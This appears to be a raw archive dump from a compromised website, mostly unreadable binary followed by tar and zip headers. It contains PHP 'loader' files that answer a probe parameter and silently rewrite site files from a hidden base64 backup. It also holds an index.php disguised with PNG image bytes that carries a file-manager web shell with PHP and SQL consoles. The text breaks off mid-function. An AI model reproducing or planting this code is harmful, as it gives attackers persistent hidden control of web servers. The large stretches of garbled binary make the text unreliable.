C/hm!8Ajh:'"$&pN"PlzP/<d1CIq	"@( |Î&GObvZPJ>-`Uxpٟ:.ܒņ+4i *ۇCDmE#^0׏.;#';(!*e})xF Ugc_qCo6ߕn(N%*E|$acI@)&</W(10(hPOp#T!`DB3"|4YdzZ݃] - f=4Pt+c  (C1'Y$ 6!^.Q(M97F[n\F$T)fp,W/b}MBD0ñN4Rt61JDy0KhCgUb-=y9fi,6.1X,aDFRB}YA18aDõ--1BH
%bC8 h|N@TE"D"rH=%R*),]IJT8a3'B#ǡ٬͹81BAwK}Xtrzy.P3)ԣa0;V߷z6y"3e
[	DJ,hNΔ8YzgW@6$:rUfL-_8\Ut#ӫ]>_R. v%mq.'w?GVy6d6nO=beRj&CtAѫJ~A+b5ryYRL_P"XMj^VJN0{U(a0٬023
5X	4H
Cf)2Y	"Y.1  lIHW*V,QcT	KJRa
U-'_PAA>0n!&h46п!zjA$LFѐp4zJOu`Δ#&*H(9odl#(Ps
T)S1+?NI3࣊/d%=[f$B4v&o-ӄ=CKebiln$#ttj0e4J(S$),"r^%&B@[.PibŬ-ӖWVV,gXN)/Hf32ut(K
csSUHE+8,=CZW@&ǖ))$kn&L'Rmb#X͐dE
Ҵ3M-֓$1YjBM$t:[cJ&g29t]c2E"2pb2Ieb.#YYqi,LGP$[yTs͐bNhg .+P+dU'Lʲ2Y ֩kl-P)F$-Sf(&l!Zɱ")AKӳ1YQ632(u<[TIQr+ˊ,rNZhHtђͦ:eFS.ZYlbZLQg
B&YYfVҬŊ
~1cN 8X!t8l=!R3lrD#:Tbq!9g2K!V&.),Lʴ%[^1Cg+!Sg:(Z6Pĕr`rXͩJi:Gg-.
"8]p`Z/7r-lUW\Z\&2l'Ec6lPO4Ȯ1K,QmPUTIfɶjc(Nq\(+_*ڊcsEt7ǐYgƕyيJ
Gw
*FǕrEl\-u4F/eIɩԢ@jc9YitEVRG+`'itT#JZ0FDB6[_ dfQ,tSiil{aAE2_bR[[Yƞj0Dy/i(b+r2a$ZO92/`pJgjRH
{<nZ)KejL+5:е0sX@>VsR YKb(@MN?99	(܎lfVOڀPOEl'+q bi#"C?4Y";Ih .d< C6 M'*jݧ`ȠA)i2F0{wS~G)`Kx,dbBɉ*_@TAT[&KMпy|a~ivL@#**TNji?W`ِ Tߏطz)
=ˈoE+'cA89ךO\%"UOEɇxsTUjU;g,HФ>ĀXEhN7M~}l3&rt2ce` DI7p'(LDWNfq5[Þ#-GTcP *PYB	G+Ի[c6IaFX% MS0Db=ׯѿ0z,+k43#|YGT{Ib$1ݟ  f4?|f[<hs8B
WD*7	9u8 AE$&A)8$}hnщM胀"kiRx$mf	EL>^j 03UXAPl8'P*D@u5``(2hfVaZQ(="mТБĨsa߅-E]qsaׅÎ.p┋#.N$\8po(Dtp:Qc|(t
2᛿<
N}H #82P*WHǽn{:yd88h&ӂĤ
>h!h\IgS>r5I$HI d0B	p(x
ŁщѪ*ҠV,)5<F6KrTZjZ̓ˡ9;7Xs }
:8>I: 4V#Sab(-4ʌ0gV4<eUqG꽞,F.WNP'2A
zx((9T-М"X7+7b&4G}=1
KZÎ,9"JWXoN~
c,ɷ)B'0vdD{j% SqǛw`j
?d̿3s!bj_5/[.{jRh~W1G9ƢD]<cg3۳0e_I/=,~RlGBɡȡ X.jntC#RFR¬RȠą f8V@!Ya;!6.(5x)Kn PRS.C'1GxcpxE@wx
1,tFƀYS}G%&bU	*-߁AJ=~5DrFxU(G7G$ֺzF8Ak=^ߓ{#B9}<'نerX#}_!Q..eaT|:x8<oˑo2aMԙy&T!mBb`i넩N5&_5V	s&S5cMgPBy
_/D-;٫.ɍ>5j8I|#f9g˽9Q"I	x7 7TE˯u,SbOK,$%JBã{(	-V
=W,c%z'{q+(w 젵'AP5J!FzH	 xB*7עD'z=l&&':8+ƙ0I@j ߧnI,5`!%ŬJPI`!GP<$;j+Ld5 zM>/!.}0io*		}90XQ]fK5E@"& /drsJ9ElTzaK"X{	s殡Ĥ56&(>hJU'V63>	WK2WR]b@	xZJClX8G=̰Yh\I+#^9cwP͆o i"P!v,vZn<
!i<n$I'?1B𑑘'H$0v5ֶ&U%P}!4<̤PI&Cd&,՛І>ʩ'	APXl4GUjůpg̫Joyܣke>y+>TF]f<n'^14d'v6{0HPlU]/ou{?L=s
|'"Ƭ1+	#J0(_OIY,1G%p 5ZF}$"FP=JKG`8PTLH)
9 YF=&d4=5"1OXY9!~@ {&0T51TIfŏ7C^(k q4
MP+fQ^S+ЊJmo!NzCo-&U$ri!X*TAkQ6%477++0+7- 5J-n"Zgp͞als>X9~BGz¡>c+72[G,HZog@@(Р:^#B3<~'ԂTQ*tpº e*3(w}*)'%J&AIgpSOC!%`@$C(Cuz$!vJ^2J 'yA]Qءw(CU(WQ SQ@cE"k%E64" A۴1S8!(D9CBj=
a`]H⡔P
R	P̸@J̘!
#$j#-ʌC2*ЂV5OQ.MX,b媶&6F?JUЃ2UT!V5rRqV1 <wzSX̎1;IjD q:V=HYieMpX߬jRScSShA	 txÿ=E(\&AF""#Qo<@2 %SktAhf$/Z5<g
Bbf dp$K62_*ѳ::D9|@U4lwPug?ѩ,|qWqjxAHӥS%iq)=(UT^zSJilvz 1y&nNb4lZQ.)vVP\*jE2_PIciTvnn1%+XRyL[I2sU\b)I$84l.*ʳ),,Үd~N1;(RR,aZ"ߖdfR­$yjR^̳+TdENvV
;-Wd;<ߤS8lY2E+TglN2L@\"3ԬbZV˶%I*dR],;?YKؒ>@T(.VXvfehⲹ*;;!y:;;5ö9lU6
Ll6?9sb<Mcd,fAG<Ms))TG2U^1VjE|Zq~Ze8M&X,;>R1fKlnIKձL3+H,5r5BL3cVr9OT6\yyYlcA""I1<NZeEZF:ɐLEJ%`ב"2B*aԘXM,*'畩J0@VeӲdc\:9KE&gGP(L1P9Y17VVh
2"NceYHlmI3E6~D-/NY~aS!c2cL*UI$\Pe"|6H	3-@~fJr999,LNKd'+)d*O䫓SRvzz*SLh*l9
*-NKxc
cR˨TILN';*a ]as5L*d\^2ȕIyZ?@(0
x\/]ɋx5Ցf3qb9Uδ
̡9,QMiFUE8=ߡ7
2s$N3*4U"dv{82#MePeI9c93ivr{-@-fr{@UPNsHpمbAJOȍ9vmslOjW1YX'h
|V0q5#gx$\leZA"N9+@ "A!LeiHjΒi(`$X`1'"IJ3E@I AV]fEAȩSeC!`UU0M*MfbSu|F..b0I"&;"sTGڐebI*f)1oϩL7sTB$R[5&WbeQX!ԗ͊rUĢex$S.'άye]UTn3ԤF)5lJgڴBYNj⦩,"rYEv*-U^%<FLU	8ZiXM%\aWdfS2VzC e8(B(bљt"S31),C,rM"NcdZB(JTjU3(E.!&醂8.e<j0%Qjcl&`fAȖ2
n qYdj4E\Un&[-ٕj!9vyK)eEv>S69e略Ҋr14zT&)P끨*L9&@(3%űTkEϮdPMZVf$ʨPZihkh4QƗt착EFFDT,jPtTjcX]4b=6aiRؒ[Tl٬zMY5+f'18CRSrPM%bNn0ʔT*myt:7.Cjʢɋ+yԼ2:/+TkJ)KS0d1y-CeLJU(<HeR*
\F3Ҙd[a5*ebpJJv/g9IV43)dql+bpr+XWpH٤J;^(sX)tg2Kʩ0H\:%#it3bP$B{V,)IIyfX)qF>_\iUيљ7FYV0aRr5CedgE]UI(´"%ɩSL~C7Y,IIFy^n+0X6ΐMiE34=Ra%b1&&e iΥ\{krHLYj%$fy=./Odg(yB07`HIex2?ǚƣqrdjF.K*b3X9EZC-dS&m#;R,WpM&/e
dG~Q-$ӜLN-"9
YV'KWfHbsl8rQ5NcE/׉hre!3W,1492gjaTVd+Ĉ3ibqIJiFP-1nf0βizHȬ
L+TJ4f%[f*Jr
D*$j<LZ(2d"eHO/ӥ+f!K*8Baؚg*@aHSMrIRɡ)Bk.-f199XU̵,K,QfTZ(yTV/ i,0ˏU[c+)9EJ:YQa"QP*+<zQn3@b+-J:y6γ3iXCOb3"u8H$^!wRrrTTQ2-FcL,N)Rf5r)8ZzLE3+2%|UJu6e'QrY;%c*r
	8K)1NNLSjbT,er4cDbr҅j""(/3F餑
Xu,Fٔ',l$L*hR:oSbqYT/%S\!]^aJJnHɵyQUZl"!:qTk\J/V$zNY==ܞPe|,M]&Kj=.58[Zjl(SrM=+tYqJ'dlٸ
eE̥Fҩc䒥ENYaf3
KP3I"Ue("ڋ2^ac	I|/e$HHTjze,Ҋt>;c̔8	!2Hqw%d0d9~R¶eu4vf.\1:9'P(Y
\e\0K8|T$yB!,67PfH3
/-h|KSTK^LHzQ.f%ʅy
JV,-7!3WCaf˥fiT)WcM!|M\h*HIO/38aa2L)PQzT!w(
iBqHE
)e85ZN=5OˤU+Ej^f>%,F"KɥrrLW\a)\[T0d\P	Vr,67dHyY\yJe3je
W(N2m<Nh59Ŷ|A~k+戀S$T5Ӝ϶Ś\zFeV$t-*RH̏+f9tGNr9MIh<*[e`|eT++X36£WqMYMΕgyNMT\^g#dJ,<lQ\SzvNǖ)姐i>BciJ6[aq4R3-6uqrȒY$] [y::$I)vhB&*#	+
l5DSk-_[ȿm!Bk-_[ȿm!=[P(p`dمda~&@"Z"<SHpr6P;/Sj:g3͑qpNgX"I$U!ըsĥkD<Ϡ%Iqqt*5\K"9
Qd2Ɗ,Ӄ5$ө4 ;#M)V;
`aGrCey'9l(A*R3̲4@	Q
;C5ȘY^-buE@u*gIx`,2r`Ǐas
",VV]z%=o%4;r
ug2rs*::Ie9%[](.eEf5V28B@(K*ryjzɌKKe"!V"scΘUNZ:#FT%+eD@OOiiBСTH4J*| 
E9iFa923veEJ"&!^הef+J^Lmbz\%CgP*%E11rJJvS+WӲ2:^Ρ5T.)UUBE2T|[\bv:4eB3TDF3j$6Y+]IuXrvVZlBTPO oDFWl*MʹHX
2HJ,CR&b8&mOOps$Z.=.cؤ!ܠઘ\ T+L[ZPeKfp*,e%gb$u/7ejfMTadљŖJ̤1ن'/	n/Yi8_V,H&;XP;Y,ǚi6tLa9vZQȊd4&/H29-CP(-ITS$+3Y\+)r-n˱RD4*eHtu.%,e]Cİ5dRy\īc"~*tS4<DhM2b8-v-3S'ز4vʒsHQaEDR+<1ɬKgrTV2V"gUd9㲬rgMC234Br[HUHȬ81ML'YWJ-Zb3+WdbLTy[ŧX&yjVg-8u9.YDʹ*Yo]@YB50丌rJUH&f&##ՉDeٔXqv%`0Z3U6&3fXx՞G93-L41EN:8X!+!(CW\gd:]2| S,[RibKi8,+׮TDbd!sq5Y-)ebPN3ɎbY@N+tVGOI	9$-Lz=JѥJqje1]2gW6!UPYV(|^
ŘSl)3s3Lmؒ"͎Kʉ冲4qNJS.IҒi2V1flr'fr+\.p+srb3+JIog`,*!c!r-(3)<^".ar`
?\/q4AxA(&`1zb0`K%xBi=N'$ڢxUHԈAU=qځ f
@裿hH0U$TH'@h @pxH"פ65mZAԣaFt-:իQMX,L8&ocv$V&)` "vIuA+ޏT+@ h!_тjBᇍ V4用^b j	7{O\5YWO(0r$Xfr8`T"7p^ĈH"<>|bK42a-*CXzˇBQؑ<>(vц<}0<BlQ>0Qˇ@47'MaP5$>SY?Cg1؎XgUW"FE6hW~yY!#ArA#7ʚbP5a%'ʥ5PRc]jDO7 {_t7eD(U0 E;x?i5C+T3a*Ѓŕ+=U2`%V'EŪ;UxX#k5lUAik3 9=1p̯/~qvKs0o@sW"$g`o`	fW{6"TFMp|)C|A/އ㗂`W5J[$rp\Saj׃Ef֘\b=1vcR,@~[Vbյ}oeL%!p'8;VWޣ.%B3լ2c@hMvi후W}|L<6C"-(ޘ>jz@Trm@{Ʈ`z\"]5>?noxǪ7jWҀ^#hB8X࿠Q@Q$@$rQ G/L4@
AA@vmm@bbUA1TʤR}ay-UM`)F#hjϝl`wA.ŁAa0`Ur8D"H)tPȀy{D*FH7Cjt^7^2؇1p7B7)of2D$:
sV9
<RCQ@!B8@CJNvޑN^ϥ>e7.'b\( 1TRd3x 3$Y䀄$R<!׋U'43fR{9p(z< AFbU(Rc՚aDE$u?$P萘`MW^UʂJ`bMك<0aPq0|
Mc+!`;4k/e*0hWzY&U;4|!kFՊ[.KZ<cgUiP=ڐrÄcMʬYŘ+>@I&k#!тAs)@D0ah$V!GbW>TV! *Y%M\!1.IUi4_+0iMbph$J!Hh#8lHphBˠ"T0~ُ#ǶbݔĤhq96nvt/.8>R4;rVmI\⼺}r'O5o7|5'?<5hk;'wzX+ժmzD6yb:k9}Aɱ H&xB-@ U)\l5[Q*GjHNDu?*Vxԣzy(}H@lZ"+Aua1K1:}yX{UH	1AjkFrh.G!o81Z$Kx'cE=iwpd,G{0[BWoѸ:X̑1߲ۥ8Р^i(/qV59F,	JE8BA^j$TTxNaJSb?%/[6XÅ?KOD֬4U;3mR2$oRc
a͌4=ZGpƀz7ePB $a}h,ieRZLj	8!<[uQIRF'皍T|6`~t:+V>eB(aw\@\'N Z}FƆ$wWU%zĠr%{@$f]LxWT]
{|0ߌ,!\s7bd?Vjub1}?0&T^RA@	ð V׆ZH0j ڠ3ZW-}vlxY<yvLQ!:0̨7K8&DˌݲD~ҼF̍x=]UU}e
?@P3pTM[r( zoC"=*#U|e*rL~+W=
VApe774:4ҿK$vÚhR"*2H O$oktrȨ4$N	UPJ*{V3KdV1YUcN@z&zذ§FI_/N53U]4-tڧe!_J̐p~c!
A4<oKQ;.#<g$r9hh?:%jFmڨHѨaR_W&_V8l?{L;@}}{yw{^AR+߾wu|4Ro|6r!M$h6Ͼh([<
9Ai3 ۂàՖz[fZB`>ZCoo&QV
`0 -@#jb%Q40l+^&1p1	}@q;Z
<qŒN
sM@{l_
<*,xRfQz#rsAA`
MG=;Ъ;"Zqjmlepl@FQ$H3ڬp6hmY¬FG@vt!CO(LY9
n0*%9ro^K(XzG#]KnYSϵ~dL۸	סĪ[d(PHEOLM)KB} 'a?}*)B{фT"|6x3[o _"0!ӇOA
2 9@T/cE3XFB(h^UN:pW|50}8r&dF^hkW Ѭ{Z3H ZVݔ="Q*
La$FBN{YeC?#ZR/jh\>OXO"MN6vgLˆC4ev48y^XXAl%!pp԰;<H1:%PoȫG[70ƫlTSIcB<oZ6{;>1@W\)$BPP%: 2xFF{iU2V͇Dl-Y8㍫~	"n|>]eBxX)N5ëZ->x^FAp3ap
#0	)0,0PFe`|jT)DsЍdATstuƨ[}-~(akDZ<,wRfZ߫iT,9PUH":@R,I0<>TUhyy9۾s林}у?UhhQiĬ׹կjK0<	 c 8x=eQ
"у5~Hn[W).F$>"pc;ǧ=Dh,:J=Ry!!=q	CCFlHZF]vǆw6!|Ɓ|iC!j.數(J}1Ǟ$*,WNQ:"~"?tdA	ۇ4wmpTΖ}O'_zPG?C`բ_zA㉽{`QARK ?Pkf@` *XU1ë0"c` -n%`|w|iʑ)wC჎>tV	bGA3"Aj Aˣd@0`K^L/Z:0%O@LJO@')	o-G=SB&CL0@e$(>&;yp*4C4$htt[n4H6cpYBf-4.iq74FT)H>R{nTV,ю^%`T=?X0Gxg.Fǐ'~ |}E)&QI\9"cSCH{4_XNUJB`n4jJ|IT*jU\It@;.ljxЪA@NwcXQ"`%&T.L@ ? J(~rja6dLhm e#;!i
T0`g-2{=FKq;0l8&gO~yez1lX#[0߸FQY;$V "Ȟ,<H!>T@QWU
D$V-~^}K$T%'u; ?wXmȱ}8FlB <x_-{/1Ov /D,3$4m0QySa$oy#q p˔%NHzOD!ȼ>fhH`( &1#"|(
c]0RaD0ChHA3aFذ`<ԣ5iy7}b
Dhd^b	}zҡ, 2h~Gq|d9gN  C	m*bt[e`z)с	3 Wbh̴ZmBb&FhxEG#B8iQt%1ȍhZ@[)ZY6NJ$&ư("!@$8u:lIt*,V$83މBieO
l8B}pA y>t#M<|RUWj5bCpR0"^g^4oD0傏txkZUHJѹ<FQهYek(xB1D2\%NQ1zOnE{cYVbCk,e (3JzҿKNUQR`%|g04D-1B8#Ց pcWO#aD׶4(+{N=Ǿ_ոSYƧ5!.pY3ɓq@mZH^rUa8(}FzZA|ق&23h"*]*ESUzW7zcw,=n\kDYVˊ^_$:lH<*
BM@c =ZMx294)McUۤc	홹jZF@c%v`* !{x\S佰T@0AG@k½I	_$wJ<$bđ	^P4
0d;uO0jᔈ E(-N7 #qY`B4z`$P+V0D , lC?kZM0AH=XsO5}R & Ql
aJ wA+Q`@-36F;!$H:D)f@H
x>mKPL
׃MP@7[Lwu x %v_/ D%2 2P[blf$7Z/F+O	A	Gz~8$GX-pUhHmf!:ֈDУ!$x`iN`	ύPoz"6wj A"Y=ϰȤj[@yRT_nHj$&oo*Q7jB')я>jhZ yh%r	E:*{P
 oyu7]qԦT*a{}(I`Pi~UU*J,^FW!PAbvM4UXy0{}Jd-xB
lPI\|`9n 4<#q2daR+̇^IMleX`MK$;$.>r6>ñz@j`1"NZBk<GtPEg)M*3"c^P^@9y4x˾xLz,DIGD!hxЅ[B҉^C#!ؤ@E5̿\>!X:Ŋ{!m_2{W@K:DPy1ȗ}g=Rj湪16Ch@}k2.pZB
EBg:	5.LPye'
uߣ#Xox+Ѕ{f~6I4	˖#m4l/2Lf#A6ǿ$H	 '
ti4CRofB79	'PPXZOU3w?֛fTb5\*@dD{kO={YXɐ*KJz5hk+4@5#RRu T5(U(P
Mf4e#T9]ثFWӓP3R {&N$6Γɟ[ Ӣý7>˃A莈g:P{V?Gb0kb Ϋ36crgٌ|ߨ	b
SZ8SAa2 ;hvθ;չ.l=^0{tD)hvs5Es{Ыͪ!p-8_yIUbih/N!1գANpy5)hn8B4`Q,J$AyT:w@vx⁔`D&c>;HAyx~ȍF%h=$%%N<*:
˜xd\	tG$`w43&}f
"n
+df/pԩcL}HQ?u^Up!AX#i1iH =Irwyj-X<	C`s@0 *Hڣ @(>.~,. aIpAv՗ xުz>vUjA#4GhP4eeD\ 6qဳiUȨI$6(C
}5Ye76`utHZ41>5V!9jƚwаK{x{OMj0 l( 8a𶣓fÈ '"=ɋAU;"CB|u-Ar'{GA{w7WDLV\A{^57 !\{M=ϮJm%?ZE3v5h8TSW%_!ŪA;;j4<PjAD c-x`T3~W Ju`r1ik/\3_5AfB/t
Lƍc.}Xzg@wb <9
>Nau{]F` lAw|2FW3^.?]W=ǈD0J{weRʗ@k	E"'qN:'nՊw	"1,\{fg-4pE`@hfhR"\ Gh DMU?[8QBPpb%,Q,
sFTf̈́<Ri/ 	 |U 2V^rHi6:MU'WT%eF31͈!үq+E#WfMU>c	VL
/$hfRIL8I@Lĕuj=q૪z"p56$PHp
Y̿ t!%" ƙ)XgfD1# XD>vu|:i_*MΘ!Yh:)!
Cr2<	n'x<oⲚ=*{5 ${!!BhJHhR&gY@l	b2kVe8'j@UFD(9,KPWV$4lbuk?L Ht2NiQxC˷^E* 5q|
)CIƷZ
qLѓ*Y	+Ag[@-͘ _\ЂDJ
֊
9
%+hhUaG	^_߰=lGn*&jyL_΁&d!|	 뫂ԀQ ƣ(FƆ.^T?怜A7\kZ`:ώ{)<\V϶j>PD2e(}~]W+7:L
#^
P|$ЀhH<Ttϗ9[(M}	5c(k)J	i>U|GߕGǠ.vi59QۥD_={UZDڀqV!`΃<tLX'| {.BAŮ7?>w~@nUva3M0Qʇ~?U	QUlCE!٫nI=@,y|QthC%yKYmjF5%fS^wu5c4Wb =udS)^""&{"IǠxAf=P+Bo+WSA5@@r|7Si'R"6ė}|!G{	=1G>BpϿ?63                                                                                                                                                                                                                                                                                                                                                                                                                                                            runtime-loader.php.tar                                                                              0000644                 00000005000 15243264725 0010776 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-loader.php                                        0000644                 00000001672 15243251150 0020423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262.tar                                                                                          0000644                 00001370000 15243264725 0006035 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       364262.zip                                                                                          0000644                 00000567245 15243251040 0006055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
